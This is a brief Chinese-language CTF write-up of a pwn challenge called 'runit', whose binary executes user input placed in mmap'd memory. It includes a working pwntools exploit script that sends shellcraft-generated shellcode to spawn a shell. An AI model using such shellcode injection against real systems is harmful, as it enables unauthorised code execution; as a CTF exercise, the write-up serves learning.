两道题都是shellcode直接利用,简单记录解题的过程。
0x01 runit
逻辑不难,使用mmap()分配一块内存,然后通过read函数写入数据到这个内存块,接下来就直接执行我们输入的数据,所以可以直接利用pwntool构造shellcode注入到该内存块,完事。
exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
cn = process('./runit')
shell=shellcraft.sh()
offset=asm(shell)
cn.recvuntil('Send me stuff!!')
cn.sendline(offset)
cn.interactive()
执行